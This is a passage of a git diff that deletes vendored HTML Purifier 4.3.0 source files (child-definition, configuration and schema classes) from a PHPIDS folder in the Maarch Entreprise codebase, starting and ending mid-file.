- continue; - } - } - if (!$is_deleting || ($pcdata_allowed && $token instanceof HTMLPurifier_Token_Text)) { - $result[] = $token; - } elseif ($pcdata_allowed && $escape_invalid_children) { - $result[] = - new HTMLPurifier_Token_Text( - $gen->generateFromToken($token) - ); - } else { - // drop silently - } - } - if (empty($result)) return false; - if ($all_whitespace) { - $this->whitespace = true; - return false; - } - if ($tokens_of_children == $result) return true; - return $result; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/StrictBlockquote.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/StrictBlockquote.php deleted file mode 100755 index 3a8cfbc7c13513f7f68ee81dd744ed67a263efc6..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/StrictBlockquote.php +++ /dev/null @@ -1,88 +0,0 @@ -<?php - -/** - * Takes the contents of blockquote when in strict and reformats for validation. - */ -class HTMLPurifier_ChildDef_StrictBlockquote extends HTMLPurifier_ChildDef_Required -{ - protected $real_elements; - protected $fake_elements; - public $allow_empty = true; - public $type = 'strictblockquote'; - protected $init = false; - - /** - * @note We don't want MakeWellFormed to auto-close inline elements since - * they might be allowed. - */ - public function getAllowedElements($config) { - $this->init($config); - return $this->fake_elements; - } - - public function validateChildren($tokens_of_children, $config, $context) { - - $this->init($config); - - // trick the parent class into thinking it allows more - $this->elements = $this->fake_elements; - $result = parent::validateChildren($tokens_of_children, $config, $context); - $this->elements = $this->real_elements; - - if ($result === false) return array(); - if ($result === true) $result = $tokens_of_children; - - $def = $config->getHTMLDefinition(); - $block_wrap_start = new HTMLPurifier_Token_Start($def->info_block_wrapper); - $block_wrap_end = new HTMLPurifier_Token_End( $def->info_block_wrapper); - $is_inline = false; - $depth = 0; - $ret = array(); - - // assuming that there are no comment tokens - foreach ($result as $i => $token) { - $token = $result[$i]; - // ifs are nested for readability - if (!$is_inline) { - if (!$depth) { - if ( - ($token instanceof HTMLPurifier_Token_Text && !$token->is_whitespace) || - (!$token instanceof HTMLPurifier_Token_Text && !isset($this->elements[$token->name])) - ) { - $is_inline = true; - $ret[] = $block_wrap_start; - } - } - } else { - if (!$depth) { - // starting tokens have been inline text / empty - if ($token instanceof HTMLPurifier_Token_Start || $token instanceof HTMLPurifier_Token_Empty) { - if (isset($this->elements[$token->name])) { - // ended - $ret[] = $block_wrap_end; - $is_inline = false; - } - } - } - } - $ret[] = $token; - if ($token instanceof HTMLPurifier_Token_Start) $depth++; - if ($token instanceof HTMLPurifier_Token_End) $depth--; - } - if ($is_inline) $ret[] = $block_wrap_end; - return $ret; - } - - private function init($config) { - if (!$this->init) { - $def = $config->getHTMLDefinition(); - // allow all inline elements - $this->real_elements = $this->elements; - $this->fake_elements = $def->info_content_sets['Flow']; - $this->fake_elements['#PCDATA'] = true; - $this->init = true; - } - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Table.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Table.php deleted file mode 100755 index 7e6e435bb6709712d224a9c195c5d8aef1a9f1eb..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Table.php +++ /dev/null @@ -1,142 +0,0 @@ -<?php - -/** - * Definition for tables - */ -class HTMLPurifier_ChildDef_Table extends HTMLPurifier_ChildDef -{ - public $allow_empty = false; - public $type = 'table'; - public $elements = array('tr' => true, 'tbody' => true, 'thead' => true, - 'tfoot' => true, 'caption' => true, 'colgroup' => true, 'col' => true); - public function __construct() {} - public function validateChildren($tokens_of_children, $config, $context) { - if (empty($tokens_of_children)) return false; - - // this ensures that the loop gets run one last time before closing - // up. It's a little bit of a hack, but it works! Just make sure you - // get rid of the token later. - $tokens_of_children[] = false; - - // only one of these elements is allowed in a table - $caption = false; - $thead = false; - $tfoot = false; - - // as many of these as you want - $cols = array(); - $content = array(); - - $nesting = 0; // current depth so we can determine nodes - $is_collecting = false; // are we globbing together tokens to package - // into one of the collectors? - $collection = array(); // collected nodes - $tag_index = 0; // the first node might be whitespace, - // so this tells us where the start tag is - - foreach ($tokens_of_children as $token) { - $is_child = ($nesting == 0); - - if ($token === false) { - // terminating sequence started - } elseif ($token instanceof HTMLPurifier_Token_Start) { - $nesting++; - } elseif ($token instanceof HTMLPurifier_Token_End) { - $nesting--; - } - - // handle node collection - if ($is_collecting) { - if ($is_child) { - // okay, let's stash the tokens away - // first token tells us the type of the collection - switch ($collection[$tag_index]->name) { - case 'tr': - case 'tbody': - $content[] = $collection; - break; - case 'caption': - if ($caption !== false) break; - $caption = $collection; - break; - case 'thead': - case 'tfoot': - // access the appropriate variable, $thead or $tfoot - $var = $collection[$tag_index]->name; - if ($$var === false) { - $$var = $collection; - } else { - // transmutate the first and less entries into - // tbody tags, and then put into content - $collection[$tag_index]->name = 'tbody'; - $collection[count($collection)-1]->name = 'tbody'; - $content[] = $collection; - } - break; - case 'colgroup': - $cols[] = $collection; - break; - } - $collection = array(); - $is_collecting = false; - $tag_index = 0; - } else { - // add the node to the collection - $collection[] = $token; - } - } - - // terminate - if ($token === false) break; - - if ($is_child) { - // determine what we're dealing with - if ($token->name == 'col') { - // the only empty tag in the possie, we can handle it - // immediately - $cols[] = array_merge($collection, array($token)); - $collection = array(); - $tag_index = 0; - continue; - } - switch($token->name) { - case 'caption': - case 'colgroup': - case 'thead': - case 'tfoot': - case 'tbody': - case 'tr': - $is_collecting = true; - $collection[] = $token; - continue; - default: - if (!empty($token->is_whitespace)) { - $collection[] = $token; - $tag_index++; - } - continue; - } - } - } - - if (empty($content)) return false; - - $ret = array(); - if ($caption !== false) $ret = array_merge($ret, $caption); - if ($cols !== false) foreach ($cols as $token_array) $ret = array_merge($ret, $token_array); - if ($thead !== false) $ret = array_merge($ret, $thead); - if ($tfoot !== false) $ret = array_merge($ret, $tfoot); - foreach ($content as $token_array) $ret = array_merge($ret, $token_array); - if (!empty($collection) && $is_collecting == false){ - // grab the trailing space - $ret = array_merge($ret, $collection); - } - - array_pop($tokens_of_children); // remove phantom token - - return ($ret === $tokens_of_children) ? true : $ret; - - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php deleted file mode 100755 index 49ffab751af2fbf12209c36973a91f9268fff260..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php +++ /dev/null @@ -1,709 +0,0 @@ -<?php - -/** - * Configuration object that triggers customizable behavior. - * - * @warning This class is strongly defined: that means that the class - * will fail if an undefined directive is retrieved or set. - * - * @note Many classes that could (although many times don't) use the - * configuration object make it a mandatory parameter. This is - * because a configuration object should always be forwarded, - * otherwise, you run the risk of missing a parameter and then - * being stumped when a configuration directive doesn't work. - * - * @todo Reconsider some of the public member variables - */ -class HTMLPurifier_Config -{ - - /** - * HTML Purifier's version - */ - public $version = '4.3.0'; - - /** - * Bool indicator whether or not to automatically finalize - * the object if a read operation is done - */ - public $autoFinalize = true; - - // protected member variables - - /** - * Namespace indexed array of serials for specific namespaces (see - * getSerial() for more info). - */ - protected $serials = array(); - - /** - * Serial for entire configuration object - */ - protected $serial; - - /** - * Parser for variables - */ - protected $parser; - - /** - * Reference HTMLPurifier_ConfigSchema for value checking - * @note This is public for introspective purposes. Please don't - * abuse! - */ - public $def; - - /** - * Indexed array of definitions - */ - protected $definitions; - - /** - * Bool indicator whether or not config is finalized - */ - protected $finalized = false; - - /** - * Property list containing configuration directives. - */ - protected $plist; - - /** - * Whether or not a set is taking place due to an - * alias lookup. - */ - private $aliasMode; - - /** - * Set to false if you do not want line and file numbers in errors - * (useful when unit testing). This will also compress some errors - * and exceptions. - */ - public $chatty = true; - - /** - * Current lock; only gets to this namespace are allowed. - */ - private $lock; - - /** - * @param $definition HTMLPurifier_ConfigSchema that defines what directives - * are allowed. - */ - public function __construct($definition, $parent = null) { - $parent = $parent ? $parent : $definition->defaultPlist; - $this->plist = new HTMLPurifier_PropertyList($parent); - $this->def = $definition; // keep a copy around for checking - $this->parser = new HTMLPurifier_VarParser_Flexible(); - } - - /** - * Convenience constructor that creates a config object based on a mixed var - * @param mixed $config Variable that defines the state of the config - * object. Can be: a HTMLPurifier_Config() object, - * an array of directives based on loadArray(), - * or a string filename of an ini file. - * @param HTMLPurifier_ConfigSchema Schema object - * @return Configured HTMLPurifier_Config object - */ - public static function create($config, $schema = null) { - if ($config instanceof HTMLPurifier_Config) { - // pass-through - return $config; - } - if (!$schema) { - $ret = HTMLPurifier_Config::createDefault(); - } else { - $ret = new HTMLPurifier_Config($schema); - } - if (is_string($config)) $ret->loadIni($config); - elseif (is_array($config)) $ret->loadArray($config); - return $ret; - } - - /** - * Creates a new config object that inherits from a previous one. - * @param HTMLPurifier_Config $config Configuration object to inherit - * from. - * @return HTMLPurifier_Config object with $config as its parent. - */ - public static function inherit(HTMLPurifier_Config $config) { - return new HTMLPurifier_Config($config->def, $config->plist); - } - - /** - * Convenience constructor that creates a default configuration object. - * @return Default HTMLPurifier_Config object. - */ - public static function createDefault() { - $definition = HTMLPurifier_ConfigSchema::instance(); - $config = new HTMLPurifier_Config($definition); - return $config; - } - - /** - * Retreives a value from the configuration. - * @param $key String key - */ - public function get($key, $a = null) { - if ($a !== null) { - $this->triggerError("Using deprecated API: use \$config->get('$key.$a') instead", E_USER_WARNING); - $key = "$key.$a"; - } - if (!$this->finalized) $this->autoFinalize(); - if (!isset($this->def->info[$key])) { - // can't add % due to SimpleTest bug - $this->triggerError('Cannot retrieve value of undefined directive ' . htmlspecialchars($key), - E_USER_WARNING); - return; - } - if (isset($this->def->info[$key]->isAlias)) { - $d = $this->def->info[$key]; - $this->triggerError('Cannot get value from aliased directive, use real name ' . $d->key, - E_USER_ERROR); - return; - } - if ($this->lock) { - list($ns) = explode('.', $key); - if ($ns !== $this->lock) { - $this->triggerError('Cannot get value of namespace ' . $ns . ' when lock for ' . $this->lock . ' is active, this probably indicates a Definition setup method is accessing directives that are not within its namespace', E_USER_ERROR); - return; - } - } - return $this->plist->get($key); - } - - /** - * Retreives an array of directives to values from a given namespace - * @param $namespace String namespace - */ - public function getBatch($namespace) { - if (!$this->finalized) $this->autoFinalize(); - $full = $this->getAll(); - if (!isset($full[$namespace])) { - $this->triggerError('Cannot retrieve undefined namespace ' . htmlspecialchars($namespace), - E_USER_WARNING); - return; - } - return $full[$namespace]; - } - - /** - * Returns a md5 signature of a segment of the configuration object - * that uniquely identifies that particular configuration - * @note Revision is handled specially and is removed from the batch - * before processing! - * @param $namespace Namespace to get serial for - */ - public function getBatchSerial($namespace) { - if (empty($this->serials[$namespace])) { - $batch = $this->getBatch($namespace); - unset($batch['DefinitionRev']); - $this->serials[$namespace] = md5(serialize($batch)); - } - return $this->serials[$namespace]; - } - - /** - * Returns a md5 signature for the entire configuration object - * that uniquely identifies that particular configuration - */ - public function getSerial() { - if (empty($this->serial)) { - $this->serial = md5(serialize($this->getAll())); - } - return $this->serial; - } - - /** - * Retrieves all directives, organized by namespace - * @warning This is a pretty inefficient function, avoid if you can - */ - public function getAll() { - if (!$this->finalized) $this->autoFinalize(); - $ret = array(); - foreach ($this->plist->squash() as $name => $value) { - list($ns, $key) = explode('.', $name, 2); - $ret[$ns][$key] = $value; - } - return $ret; - } - - /** - * Sets a value to configuration. - * @param $key String key - * @param $value Mixed value - */ - public function set($key, $value, $a = null) { - if (strpos($key, '.') === false) { - $namespace = $key; - $directive = $value; - $value = $a; - $key = "$key.$directive"; - $this->triggerError("Using deprecated API: use \$config->set('$key', ...) instead", E_USER_NOTICE); - } else { - list($namespace) = explode('.', $key); - } - if ($this->isFinalized('Cannot set directive after finalization')) return; - if (!isset($this->def->info[$key])) { - $this->triggerError('Cannot set undefined directive ' . htmlspecialchars($key) . ' to value', - E_USER_WARNING); - return; - } - $def = $this->def->info[$key]; - - if (isset($def->isAlias)) { - if ($this->aliasMode) { - $this->triggerError('Double-aliases not allowed, please fix '. - 'ConfigSchema bug with' . $key, E_USER_ERROR); - return; - } - $this->aliasMode = true; - $this->set($def->key, $value); - $this->aliasMode = false; - $this->triggerError("$key is an alias, preferred directive name is {$def->key}", E_USER_NOTICE); - return; - } - - // Raw type might be negative when using the fully optimized form - // of stdclass, which indicates allow_null == true - $rtype = is_int($def) ? $def : $def->type; - if ($rtype < 0) { - $type = -$rtype; - $allow_null = true; - } else { - $type = $rtype; - $allow_null = isset($def->allow_null); - } - - try { - $value = $this->parser->parse($value, $type, $allow_null); - } catch (HTMLPurifier_VarParserException $e) { - $this->triggerError('Value for ' . $key . ' is of invalid type, should be ' . HTMLPurifier_VarParser::getTypeName($type), E_USER_WARNING); - return; - } - if (is_string($value) && is_object($def)) { - // resolve value alias if defined - if (isset($def->aliases[$value])) { - $value = $def->aliases[$value]; - } - // check to see if the value is allowed - if (isset($def->allowed) && !isset($def->allowed[$value])) { - $this->triggerError('Value not supported, valid values are: ' . - $this->_listify($def->allowed), E_USER_WARNING); - return; - } - } - $this->plist->set($key, $value); - - // reset definitions if the directives they depend on changed - // this is a very costly process, so it's discouraged - // with finalization - if ($namespace == 'HTML' || $namespace == 'CSS' || $namespace == 'URI') { - $this->definitions[$namespace] = null; - } - - $this->serials[$namespace] = false; - } - - /** - * Convenience function for error reporting - */ - private function _listify($lookup) { - $list = array(); - foreach ($lookup as $name => $b) $list[] = $name; - return implode(', ', $list); - } - - /** - * Retrieves object reference to the HTML definition. - * @param $raw Return a copy that has not been setup yet. Must be - * called before it's been setup, otherwise won't work. - * @param $optimized If true, this method may return null, to - * indicate that a cached version of the modified - * definition object is available and no further edits - * are necessary. Consider using - * maybeGetRawHTMLDefinition, which is more explicitly - * named, instead. - */ - public function getHTMLDefinition($raw = false, $optimized = false) { - return $this->getDefinition('HTML', $raw, $optimized); - } - - /** - * Retrieves object reference to the CSS definition - * @param $raw Return a copy that has not been setup yet. Must be - * called before it's been setup, otherwise won't work. - * @param $optimized If true, this method may return null, to - * indicate that a cached version of the modified - * definition object is available and no further edits - * are necessary. Consider using - * maybeGetRawCSSDefinition, which is more explicitly - * named, instead. - */ - public function getCSSDefinition($raw = false, $optimized = false) { - return $this->getDefinition('CSS', $raw, $optimized); - } - - /** - * Retrieves object reference to the URI definition - * @param $raw Return a copy that has not been setup yet. Must be - * called before it's been setup, otherwise won't work. - * @param $optimized If true, this method may return null, to - * indicate that a cached version of the modified - * definition object is available and no further edits - * are necessary. Consider using - * maybeGetRawURIDefinition, which is more explicitly - * named, instead. - */ - public function getURIDefinition($raw = false, $optimized = false) { - return $this->getDefinition('URI', $raw, $optimized); - } - - /** - * Retrieves a definition - * @param $type Type of definition: HTML, CSS, etc - * @param $raw Whether or not definition should be returned raw - * @param $optimized Only has an effect when $raw is true. Whether - * or not to return null if the result is already present in - * the cache. This is off by default for backwards - * compatibility reasons, but you need to do things this - * way in order to ensure that caching is done properly. - * Check out enduser-customize.html for more details. - * We probably won't ever change this default, as much as the - * maybe semantics is the "right thing to do." - */ - public function getDefinition($type, $raw = false, $optimized = false) { - if ($optimized && !$raw) { - throw new HTMLPurifier_Exception("Cannot set optimized = true when raw = false"); - } - if (!$this->finalized) $this->autoFinalize(); - // temporarily suspend locks, so we can handle recursive definition calls - $lock = $this->lock; - $this->lock = null; - $factory = HTMLPurifier_DefinitionCacheFactory::instance(); - $cache = $factory->create($type, $this); - $this->lock = $lock; - if (!$raw) { - // full definition - // --------------- - // check if definition is in memory - if (!empty($this->definitions[$type])) { - $def = $this->definitions[$type]; - // check if the definition is setup - if ($def->setup) { - return $def; - } else { - $def->setup($this); - if ($def->optimized) $cache->add($def, $this); - return $def; - } - } - // check if definition is in cache - $def = $cache->get($this); - if ($def) { - // definition in cache, save to memory and return it - $this->definitions[$type] = $def; - return $def; - } - // initialize it - $def = $this->initDefinition($type); - // set it up - $this->lock = $type; - $def->setup($this); - $this->lock = null; - // save in cache - $cache->add($def, $this); - // return it - return $def; - } else { - // raw definition - // -------------- - // check preconditions - $def = null; - if ($optimized) { - if (is_null($this->get($type . '.DefinitionID'))) { - // fatally error out if definition ID not set - throw new HTMLPurifier_Exception("Cannot retrieve raw version without specifying %$type.DefinitionID"); - } - } - if (!empty($this->definitions[$type])) { - $def = $this->definitions[$type]; - if ($def->setup && !$optimized) { - $extra = $this->chatty ? " (try moving this code block earlier in your initialization)" : ""; - throw new HTMLPurifier_Exception("Cannot retrieve raw definition after it has already been setup" . $extra); - } - if ($def->optimized === null) { - $extra = $this->chatty ? " (try flushing your cache)" : ""; - throw new HTMLPurifier_Exception("Optimization status of definition is unknown" . $extra); - } - if ($def->optimized !== $optimized) { - $msg = $optimized ? "optimized" : "unoptimized"; - $extra = $this->chatty ? " (this backtrace is for the first inconsistent call, which was for a $msg raw definition)" : ""; - throw new HTMLPurifier_Exception("Inconsistent use of optimized and unoptimized raw definition retrievals" . $extra); - } - } - // check if definition was in memory - if ($def) { - if ($def->setup) { - // invariant: $optimized === true (checked above) - return null; - } else { - return $def; - } - } - // if optimized, check if definition was in cache - // (because we do the memory check first, this formulation - // is prone to cache slamming, but I think - // guaranteeing that either /all/ of the raw - // setup code or /none/ of it is run is more important.) - if ($optimized) { - // This code path only gets run once; once we put - // something in $definitions (which is guaranteed by the - // trailing code), we always short-circuit above. - $def = $cache->get($this); - if ($def) { - // save the full definition for later, but don't - // return it yet - $this->definitions[$type] = $def; - return null; - } - } - // check invariants for creation - if (!$optimized) { - if (!is_null($this->get($type . '.DefinitionID'))) { - if ($this->chatty) { - $this->triggerError("Due to a documentation error in previous version of HTML Purifier, your definitions are not being cached. If this is OK, you can remove the %$type.DefinitionRev and %$type.DefinitionID declaration. Otherwise, modify your code to use maybeGetRawDefinition, and test if the returned value is null before making any edits (if it is null, that means that a cached version is available, and no raw operations are necessary). See <a href='http://htmlpurifier.org/docs/enduser-customize.html#optimized'>Customize</a> for more details", E_USER_WARNING); - } else { - $this->triggerError("Useless DefinitionID declaration", E_USER_WARNING); - } - } - } - // initialize it - $def = $this->initDefinition($type); - $def->optimized = $optimized; - return $def; - } - throw new HTMLPurifier_Exception("The impossible happened!"); - } - - private function initDefinition($type) { - // quick checks failed, let's create the object - if ($type == 'HTML') { - $def = new HTMLPurifier_HTMLDefinition(); - } elseif ($type == 'CSS') { - $def = new HTMLPurifier_CSSDefinition(); - } elseif ($type == 'URI') { - $def = new HTMLPurifier_URIDefinition(); - } else { - throw new HTMLPurifier_Exception("Definition of $type type not supported"); - } - $this->definitions[$type] = $def; - return $def; - } - - public function maybeGetRawDefinition($name) { - return $this->getDefinition($name, true, true); - } - - public function maybeGetRawHTMLDefinition() { - return $this->getDefinition('HTML', true, true); - } - - public function maybeGetRawCSSDefinition() { - return $this->getDefinition('CSS', true, true); - } - - public function maybeGetRawURIDefinition() { - return $this->getDefinition('URI', true, true); - } - - /** - * Loads configuration values from an array with the following structure: - * Namespace.Directive => Value - * @param $config_array Configuration associative array - */ - public function loadArray($config_array) { - if ($this->isFinalized('Cannot load directives after finalization')) return; - foreach ($config_array as $key => $value) { - $key = str_replace('_', '.', $key); - if (strpos($key, '.') !== false) { - $this->set($key, $value); - } else { - $namespace = $key; - $namespace_values = $value; - foreach ($namespace_values as $directive => $value) { - $this->set($namespace .'.'. $directive, $value); - } - } - } - } - - /** - * Returns a list of array(namespace, directive) for all directives - * that are allowed in a web-form context as per an allowed - * namespaces/directives list. - * @param $allowed List of allowed namespaces/directives - */ - public static function getAllowedDirectivesForForm($allowed, $schema = null) { - if (!$schema) { - $schema = HTMLPurifier_ConfigSchema::instance(); - } - if ($allowed !== true) { - if (is_string($allowed)) $allowed = array($allowed); - $allowed_ns = array(); - $allowed_directives = array(); - $blacklisted_directives = array(); - foreach ($allowed as $ns_or_directive) { - if (strpos($ns_or_directive, '.') !== false) { - // directive - if ($ns_or_directive[0] == '-') { - $blacklisted_directives[substr($ns_or_directive, 1)] = true; - } else { - $allowed_directives[$ns_or_directive] = true; - } - } else { - // namespace - $allowed_ns[$ns_or_directive] = true; - } - } - } - $ret = array(); - foreach ($schema->info as $key => $def) { - list($ns, $directive) = explode('.', $key, 2); - if ($allowed !== true) { - if (isset($blacklisted_directives["$ns.$directive"])) continue; - if (!isset($allowed_directives["$ns.$directive"]) && !isset($allowed_ns[$ns])) continue; - } - if (isset($def->isAlias)) continue; - if ($directive == 'DefinitionID' || $directive == 'DefinitionRev') continue; - $ret[] = array($ns, $directive); - } - return $ret; - } - - /** - * Loads configuration values from $_GET/$_POST that were posted - * via ConfigForm - * @param $array $_GET or $_POST array to import - * @param $index Index/name that the config variables are in - * @param $allowed List of allowed namespaces/directives - * @param $mq_fix Boolean whether or not to enable magic quotes fix - * @param $schema Instance of HTMLPurifier_ConfigSchema to use, if not global copy - */ - public static function loadArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true, $schema = null) { - $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $schema); - $config = HTMLPurifier_Config::create($ret, $schema); - return $config; - } - - /** - * Merges in configuration values from $_GET/$_POST to object. NOT STATIC. - * @note Same parameters as loadArrayFromForm - */ - public function mergeArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true) { - $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $this->def); - $this->loadArray($ret); - } - - /** - * Prepares an array from a form into something usable for the more - * strict parts of HTMLPurifier_Config - */ - public static function prepareArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true, $schema = null) { - if ($index !== false) $array = (isset($array[$index]) && is_array($array[$index])) ? $array[$index] : array(); - $mq = $mq_fix && function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc(); - - $allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed, $schema); - $ret = array(); - foreach ($allowed as $key) { - list($ns, $directive) = $key; - $skey = "$ns.$directive"; - if (!empty($array["Null_$skey"])) { - $ret[$ns][$directive] = null; - continue; - } - if (!isset($array[$skey])) continue; - $value = $mq ? stripslashes($array[$skey]) : $array[$skey]; - $ret[$ns][$directive] = $value; - } - return $ret; - } - - /** - * Loads configuration values from an ini file - * @param $filename Name of ini file - */ - public function loadIni($filename) { - if ($this->isFinalized('Cannot load directives after finalization')) return; - $array = parse_ini_file($filename, true); - $this->loadArray($array); - } - - /** - * Checks whether or not the configuration object is finalized. - * @param $error String error message, or false for no error - */ - public function isFinalized($error = false) { - if ($this->finalized && $error) { - $this->triggerError($error, E_USER_ERROR); - } - return $this->finalized; - } - - /** - * Finalizes configuration only if auto finalize is on and not - * already finalized - */ - public function autoFinalize() { - if ($this->autoFinalize) { - $this->finalize(); - } else { - $this->plist->squash(true); - } - } - - /** - * Finalizes a configuration object, prohibiting further change - */ - public function finalize() { - $this->finalized = true; - unset($this->parser); - } - - /** - * Produces a nicely formatted error message by supplying the - * stack frame information OUTSIDE of HTMLPurifier_Config. - */ - protected function triggerError($msg, $no) { - // determine previous stack frame - $extra = ''; - if ($this->chatty) { - $trace = debug_backtrace(); - // zip(tail(trace), trace) -- but PHP is not Haskell har har - for ($i = 0, $c = count($trace); $i < $c - 1; $i++) { - if ($trace[$i + 1]['class'] === 'HTMLPurifier_Config') { - continue; - } - $frame = $trace[$i]; - $extra = " invoked on line {$frame['line']} in file {$frame['file']}"; - break; - } - } - trigger_error($msg . $extra, $no); - } - - /** - * Returns a serialized form of the configuration object that can - * be reconstituted. - */ - public function serialize() { - $this->getDefinition('HTML'); - $this->getDefinition('CSS'); - $this->getDefinition('URI'); - return serialize($this); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef.php deleted file mode 100755 index b632e7c1950b90b44edeed3335149386ba2f37b7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef.php +++ /dev/null @@ -1,9 +0,0 @@ -<?php - -/** - * Base class for configuration entity - */ -abstract class HTMLPurifier_ConfigDef { - public $class = false; -} - diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/Directive.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/Directive.php deleted file mode 100755 index 9c63f2b5f405643444e5938d5ba3aabed5ccd03a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/Directive.php +++ /dev/null @@ -1,55 +0,0 @@ -<?php - -/** - * Structure object containing definition of a directive. - * @note This structure does not contain default values - */ -class HTMLPurifier_ConfigDef_Directive extends HTMLPurifier_ConfigDef -{ - - public $class = 'directive'; - - public function __construct( - $type = null, - $allow_null = null, - $allowed = null, - $aliases = null - ) { - if ( $type !== null) $this->type = $type; - if ( $allow_null !== null) $this->allow_null = $allow_null; - if ( $allowed !== null) $this->allowed = $allowed; - if ( $aliases !== null) $this->aliases = $aliases; - } - - /** - * Allowed type of the directive. Values are: - * - string - * - istring (case insensitive string) - * - int - * - float - * - bool - * - lookup (array of value => true) - * - list (regular numbered index array) - * - hash (array of key => value) - * - mixed (anything goes) - */ - public $type = 'mixed'; - - /** - * Is null allowed? Has no effect for mixed type. - * @bool - */ - public $allow_null = false; - - /** - * Lookup table of allowed values of the element, bool true if all allowed. - */ - public $allowed = true; - - /** - * Hash of value aliases, i.e. values that are equivalent. - */ - public $aliases = array(); - -} - diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/DirectiveAlias.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/DirectiveAlias.php deleted file mode 100755 index ccb0d3d5115906cc37406d620245ad9615c6e1e7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/DirectiveAlias.php +++ /dev/null @@ -1,24 +0,0 @@ -<?php - -/** - * Structure object describing a directive alias - */ -class HTMLPurifier_ConfigDef_DirectiveAlias extends HTMLPurifier_ConfigDef -{ - public $class = 'alias'; - - /** - * Namespace being aliased to - */ - public $namespace; - /** - * Directive being aliased to - */ - public $name; - - public function __construct($namespace, $name) { - $this->namespace = $namespace; - $this->name = $name; - } -} - diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/Namespace.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/Namespace.php deleted file mode 100755 index 155e3e5f1e74833d97265d96c993aae38bdea0b4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/Namespace.php +++ /dev/null @@ -1,10 +0,0 @@ -<?php - -/** - * Structure object describing of a namespace - */ -class HTMLPurifier_ConfigDef_Namespace extends HTMLPurifier_ConfigDef -{ - public $class = 'namespace'; -} - diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema.php deleted file mode 100755 index 9551ba17ca1168b7606bf9536e325173bebad0b4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema.php +++ /dev/null @@ -1,164 +0,0 @@ -<?php - -/** - * Configuration definition, defines directives and their defaults. - */ -class HTMLPurifier_ConfigSchema { - - /** - * Defaults of the directives and namespaces. - * @note This shares the exact same structure as HTMLPurifier_Config::$conf - */ - public $defaults = array(); - - /** - * The default property list. Do not edit this property list. - */ - public $defaultPlist; - - /** - * Definition of the directives. The structure of this is: - * - * array( - * 'Namespace' => array( - * 'Directive' => new stdclass(), - * ) - * ) - * - * The stdclass may have the following properties: - * - * - If isAlias isn't set: - * - type: Integer type of directive, see HTMLPurifier_VarParser for definitions - * - allow_null: If set, this directive allows null values - * - aliases: If set, an associative array of value aliases to real values - * - allowed: If set, a lookup array of allowed (string) values - * - If isAlias is set: - * - namespace: Namespace this directive aliases to - * - name: Directive name this directive aliases to - * - * In certain degenerate cases, stdclass will actually be an integer. In - * that case, the value is equivalent to an stdclass with the type - * property set to the integer. If the integer is negative, type is - * equal to the absolute value of integer, and allow_null is true. - * - * This class is friendly with HTMLPurifier_Config. If you need introspection - * about the schema, you're better of using the ConfigSchema_Interchange, - * which uses more memory but has much richer information. - */ - public $info = array(); - - /** - * Application-wide singleton - */ - static protected $singleton; - - public function __construct() { - $this->defaultPlist = new HTMLPurifier_PropertyList(); - } - - /** - * Unserializes the default ConfigSchema. - */ - public static function makeFromSerial() { - $contents = file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema.ser'); - $r = unserialize($contents); - if (!$r) { - $hash = sha1($contents); - trigger_error("Unserialization of configuration schema failed, 